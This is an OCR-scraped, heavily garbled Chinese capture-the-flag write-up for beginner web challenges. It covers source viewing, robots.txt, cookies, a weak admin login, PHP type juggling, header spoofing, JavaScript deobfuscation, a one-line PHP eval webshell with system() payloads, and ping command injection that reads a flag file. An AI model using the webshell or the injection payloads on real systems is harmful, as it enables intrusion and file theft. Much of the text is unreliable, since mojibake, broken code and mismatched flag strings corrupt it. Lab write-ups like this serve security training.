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FLAG is not here
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<!DOCTYPE html> TE {
<html lang="en"> |event }
head> [+ < /head
<body>
script>l=</script
<h1>FLAG is not here</hl>
| <!--cyberpeace{ec579c¢94a7cb7c0128cF884576eeb2c3}--> |
z7ooay
</html>
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User—-agent: *

Disallow:
Disallow: flag 1ls h3re.php
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cyberpeace { 19ae0b{f7a9b8fdf540bacalOcfcadb4 }
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Hang?
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poayy
margin-left:auto; !
margin-right:auto;}l
margin-TOP:200PX;.
width:20em:; .
o
</style>
</head> |
<body>/
<h3>{FEIEindex.phpBIEMHIFRIL? </h3>.
<?phpl
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"|
7>
</body>
</html> |

i
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<html> » fonE al g
¥ <head> (= < /head> _
w <body> iy
<h3>— A BEAEME < /h3> TE O { ARk
w <form action="" method="post"> height: 5@px; >
<input class="btn btn-default” disabled="" style="height:58px;width:200px;" width: 20@px;
type="submit" value="flag" name="auth"> 1
</form> .btn-default.disabled, .btn- bootstrap.min.css:7 i
</body> default[disabled],
html fieldset[disabled] .btn-default, .btn-
</html> default.disabled:hover, .btn-default[disabled]:hover,
fieldset[disabled] .btn-default:hover, .btn-
F12#5 % cookiefz B, K ILA cookie.php
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v ) Cookie V mEidEs + B v
@http://Tl1.200.241.244:52937 Domain Path Expires / Max-Age I\ HttpOnly Secure SameSite Sf5iAa] v &
v B Indexed DB look-here  cookie.php 111.20024... / 19 false false None Wed, 03 Mar 20271... Rl
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See the http response

T FFBurpsuitet 47 I E

1 http://111.200.241.244:52937 GET /cookie.php 200 675 HTML php

equest

tt m \n Actions Vv HGW Raw Render \n Actions v
GET /cookie. php HTTP/1.1 HTTP/1.1 200 OK
Host: 111.200.241. 244:52937 Date: Wed, 03 Mar 2021 10:50:39 GMT
User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/86.0 X-Powered-By: PHP/5.5.9-1lubuntu4. 26
Accept flag: cyberpeace{aTa09bceed72318cc0e895d3780fdbe7}
text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0 Vary: Accept-Encoding

8 Content-Length: 411
Accept-Language: Connection: close

zh-CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; ¢=0. 3, en; q=0. 2 Content-Type: text/html
Accept-Encoding: gzip, deflate
Connection: close 11

Cookie: look-here=cookie. php head

Upgrade-Insecure-Requests: 1 ieta charset="UTF-8"

Cookie

7£Responseli i 1 B+ £ Flflag=cyberpeace{a7a09bceed72318cc0c895d3780fdbe 7}
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<html> » DHTCE allhg
¥ <head> (= < /head> _

w <body> i
<hzm— T AR </h3> TE Q@ { e
v

w <form action="" method="post"» height: 5@px;
<input class="btn btn-default” disabled="" style="height:58px;width:200px;" width: 200px;

type="submit"” value="flag" name="auth™> H
</form> .btn-default.disabled, .btn- bootstrap.min.css:7 i
</body> def'Fault[dis_.abled]_,
html fieldset[disabled] .btn-default, .btn-
</html> default.disabled:hover, .btn-default[disabled]:hover,

fieldset[disabled] .btn-default:hover, .btn-
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<html> frc=
head> (=] < /head
<body> (FEH) gz
<h3>— T EetREI F < /h3> TE O { M
<form action="" method="post™> height: 58px;
<input class="btn btn-default™ disabled="" style="height:50px;width:2086px;" width: 200px;
type="submit” value="flag” name="auth™> }
</torm> .btn-default.disabled, .btn- boctstrap.min.css:7
<h3>cyberpeace{682232dee55378d7c642dc5251281e8}</h3> fe‘cﬁjlt[disibled] o ettt o
</body> Sfault.dis or ;t:"\ijﬂé"f_aill‘t[fisijli‘.ﬂ :hover,
</html> ault:hov

Flag=cyberpeace{6f82232dee55378d7c642dc5251281e8}
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Login

username
password
login
reset
B A dlogin, BHRRE
please login as admin
e
I\ P 4 yadmin, %15 123456 B 7] & 3k B flag
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@ HFLE a3 B aMS [ Z=2itis

cyberpeace{160e7678{803e05calaa65dfb93409cf}

LL 1]



Flag=cyberpeace{160e7678f803e05ca1aa65dfb93409cf}

007 simple_php

simple_php [l =wiiteuptivol Lzt |

BENR:

BIE#A: IhUniphpREHINES, T EME RSS2 EE 7 J1{7phpfiiS.

FBmS: W htip//111.200.241.244:43819

@A 03:59:54 | ZEAT |
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{?php
show_source( FILE ) :
include (“config. php”) ;
$a=@$_GET[ a’ ];
$b=@$_GET[' b’ ];
if($a==0 and $a) {
echo $flagl;

}

if(is_numeric($h)) {
exit();

}

if(§b>1234) {
echo $flag2;
}

?>
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111.200.241.244:43819/?a=a&b=9999¢

<{?php
show_source( FILE ):
include (“config. php”) ;
$a=@$ GET[ a’ |;
$b=0$_GET[' b’ 1;
if ( and $a) {
echo $flagl:
}

if(is_numeric ($b)) {
exit O ;
}
if ($b>1234) {
echo $flag2;
}

?>

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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<?php
if(a'==0){
echo "FfFEaRREF0",

—. RH
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1. FRBE NI RE D RE T ERSTE.
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3. B TFHEURIESR S, FHRE —ANEZ /M7 (TRAMMR , BERETENEEES. BT
Hi ‘e’ B 'E' JEHERE — N ERE N HF
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Frbl'a oA F RN, BHEROT . AMUa%ET0, 'abc’, ‘aabbec' ‘EATTH: J %7 2 0Mk .

BHEIE - BREHWRORTETO0, ERAE.

https://www.cnblogs.com/beenupper/p/12635779.htm
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CTFES B CMs 5 %2itiE
IEAGETAHIURRZ— 1" & Ha [BEATHIRE
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Encryption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

& Load URL hitp://111.200.241.244:37020/?a=1
1 split URL

» | Execute
Post data [ ] Referer [ ] User Agent [ ] Cookies Clear All

b=2|
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cyberpeace{3e97ee7864760e8467015a387a4fadcc}

e O &5 e DEde NRE (PaatRes Ous Oar B o f CREEiRE 858 WEEs @ Hacksar
Encryption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other~
& Load URL http://111.200.241.244:37020/?a=1
1§ spiit URL

» 1 Execute
Postdata [ | Referer [ ] User Agent [ ] Cookies Clear All

b=2|

cyberpeace{3e97ee7864760e8467015a387a4fabcc}
(A FHackBar, #lHburpsuitttHT TPHIE RIS Esksh T bl)
009 xff_referer

[E45]

BB A KL X-Forwarded-ForfiRefererf¥ 1R :

(1) X-Forwarded-For:f&j#kXFFk, BRERE 4, tHWHLHTTPHE RmELWIP, RAEEL THTTP A
B IR S B A WM. Xff ZhttpH) 6 fEkL#W, 1EF 28 Webfk %525 3K 8007 18] F P 19 IPE Se bk
(b)) » HTRZAH P ESRERSFHATHIN, RSN GERICE RS S IPHbE, Woxfr/EHE T2
FHPRESEIP, URRERERIIP. #RX A: X-Forwarded-For: A&HLIP, {RE1IP, /R EE2IP, R FE2IP

(2) HTTP Referer/headerf)—#84), 4% 2% mIweb R 55 28 K & R B E, — B 4H EReferer, &iFiR
KRR N W H TR, RE[ELATDIRE —&FEHTAHE. referer £httpf#HE LI, /EARID
S RUIE R T AU SRVE T bk o AR 2% 2845 F refererff il vy i SR E, @R refererI BARFAER, RS20 LA
EHBEEERER.

[ E ]
KR B 2% 48 4+ hackbar

burpsuitefy it



GBI JE T Frs

xff referer [ & twriteupiEsk « Dengzizft |

\“_

5=: W nhttp://111.200.241.244:53761

HRRIAS
BlitAS: 03:56:04 | ZERT |
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(A7

iptBhtAZin9123.123.123.123

Burpsuitei#t 179168, 7EProxyfHistory R 2 B ARM T, £ 8E%E#E K i%Blrepeater. fErepeater R F H itk
W%, ¥ in: X-Forwarded-For:123.123.123.123 (GX—PRHhiE&EXFF, go—F, WEIERR) .

B B AEProxyHIntercept is on B [ %t 5 X-Forwarded-For:123.123.123.123.



O= =
m \n Actions v Raw Render \n Actions Vv
GET / HTTP/1.1 link href="http://libs. baidu. com/bootstrap/3.0. 3/c tstrap. min. c rel lest
Host: 111.200. 241.: Le
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; bodyl .
rv:86.0) Gecko/20100101 Firefox/86.0 margin 1«.‘: auto;
‘X’]"U[\\;:[(lp(l*]:u[ 71237123 1237193 margin-right:auto;
Rccept margin-TOP: 200PX;
text/html,application/xhtml+xml, application/xml;q=0.9, im width: 20em:
age/webp, */%; q=0. 8
Accept-Language €
zh—CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en: q heac
0.2 bod )
Accept-Encoding: gzip, deflate I i u\L 4 .
Connection: close %A 77123, 123, 123. 123
Cookie: look-here=cookie. ph £
Upgrade-Insecure-Requests: 1 s
Cache-Control: max-age=0 document. getElementById("demo”). innerHTMI % Ehtty W le. c
i s
boc
ht
Se matches 0 matches
<= 0 match &[> 0 match
F ¥ nReferer:https://www.google.com
O:= =
juest
m \n Actions v HEGY Raw Render \n Actions v
GET HTTP/1. 1 margin-left:auto;
Host: 111.200.241.244:53761 margin-right:auto;
User—-Agent lozilla/5.0 (Windows NT 10.0; Win64; margin-TOP: 200PX;
x64: rv:86_0) Gecko/20100101 Firefox/86.0 width: 20em;
‘ X-Forwarded—For: 123. 123. 123. 123
‘Hui'vlvr'.h"y-.\. www. google w'wu‘ b
Accept “\. 1d
text/html,application/xhtml+xml,application/xml; boc - =
q=0. 9, image/webp, */*; q=0. 8 p id="dem ’
Accept-Language ipHh 4k 25 %123, 123. 123. 123
zh—CN, zh: q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0 I
3,en;q=0.2 criy
Accept-Encoding: gzip, deflate document. getElementById("demo"). innerHTML= % Bhtty zle.
Connection: close cript
Cookie: look-here=cookie. php cript
Upgrade-Insecure-Requests: | document. getElementBylId("demo"). innerHTMIL="cyberpeace {04ef80feTcaBc8e224aca2B8874d7848
Cache-Control: max—-age=0 Crij

& [Flflag= cyberpeace{04ef80fe7ca8c8e224aca28874d78484}

010 webshell

webshell

EERL:

EEXIR.
B i

FRmR:
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O A B2 ees Y

%2t

{R&{ERwebshelllg?

<?php @eval($_POST['shell);?>

# F hackbarf i#shell, 4-shell=system("find / -name 'flag*"); & & Fr & S flaght 56 3044

& c @ © & 111.200.241.244:56735

CTF&3) CMS 5 %21tk

Iserial8250/tty/ttyS20/flags /sys/devices
Iplatform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS22
flags /sys/devices/platform/serial8250
Itty/ttyS23/flags /sys/devices/platform
/serial8250/tty/ttyS24/flags /sys/devices
/platform/serial8250/tty/ttyS25/flags
Isys/devices/platform/serial8250/tty/ttyS26
flags /sys/devices/platform/serial8250
ftty/ttyS27/flags /sys/devices/platform
Iserial8250/tty/ttyS28/flags /sys/devices
Iplatform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS30
/flags /sys/devices/platform/serial8250

&

28 e Ty

Itty/ttyS31/flags /variwww/html/flag.txt <?php
@eval($_POST['shell);?>

Oh DEsEx Oss OmEde N (Paatmes O Onr B e T oE=ms 88 uERs

Encryption + Encoding~ SQL~ XSS~ LFI+ XXE~ Other~

s Load URL http://111.200.241.244:56735/

) spiit URL
» Execute
Post data [ ] Referer [] User Agent [ | Cookies Clear All
shell=system("find / -name 'flag™");
K BiflagfEflag.txtC 14

AR iV, R Biflag (shell=system("cat /var/www/html/flag.txt");)

. HackBar
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{R<(ERAwebshelll3?

cyberpeace{79b03f637699c3d4188d0e6a11ffdbaf}<?php
@eval($_POST['shell]);?>

O OEsx DEws OEdE NES (Iatmes O Onr B & F OERE 88 uhiEs @ HackBar

Encryption + Encoding~ SQL~ XSS~ LFl~v XXE~ Other~

@ Load URL http://111.200.241.244:56735/
1 split URL
» | Execute

Postdata [ | Referer [ ] User Agent [ ] Cookies Clear All

shell=system("cat /var/www/html/flag.txt");

011 command_execution

command_execution [l 2twriteuptipineppletaft |
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ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.853 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.859 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = ©.053/0.859/0.065/0.005 ms

BE FTE XX ping 127.0.0.1 | find / -name "™ .txt"
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ping -¢ 3 ping 127.9.8.1 | find / -name "*.txt"

/usr/lib/python3.4/idlelib/HISTORY.txt
/usr/lib/python3.4/idlelib/extend.txt
/usr/1lib/python3.4/idlelib/TODO. txt
/usr/1lib/python3.4/idlelib/README.txt
/usr/lib/python3.4/idlelib/help.txt

#Eflag.txt3C N %, ping 127.0.0.1 | cat /home/flag.txt

PING
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PING

ping -c 3 ping 127.0.0.1 | cat /home/flag.txt
cyberpeace{bee3lb2c250b75c8bddl2a3alad4edo6e}

3R18flag = cyberpeace{bee31b2c250b75c0bdd12a3a1a40d960}
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<head>
<title>Js</title>

{script type="text/javascript”)
function dechiffre(pass_enc) {
var pass = “70, 65, 85, 88, 32, 80, 65, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72, 65" ;
var tab = pass_enc.split(,’);
var tab2 = pass.split(’,”);var i, j,k,1=0,m,n,0,p = "”;i = 0;j = tab. length;
k=j+ (1) + (n=0);
n = tab2. length;
for(i = (0=0); i < (k = j =n); i++ ){o = tab[i-1];p += String. fromCharCode ((o = tab2[il));
if (i == 5)break;}
for(i = (0=0);: i < (k= j=n); i++){
o = tab[i-1];
if(i > 5 && i < k-1)
p += String. fromCharCode ((o = tab2[i]));

p += String. fromCharCode (tab2[17]) : ]
pass = p;return pass; c

}
String[”fromCharCode”] (dechiffre ("\x35\x35\x2¢c\x35\x36\x2¢c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c \x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2¢\x3

h = window. prompt (' Enter password’);
alert( dechiffre(h) );

{/script>
{/head>

</html>
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pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"
Fpython4b 2 .

B47 0 F pythonf{Ag:

a = [70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
foriina:

print(chr(i),end=")
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G488 B s AT i flaghs R, flaghy Cyberpeace{7860sErtk12}.
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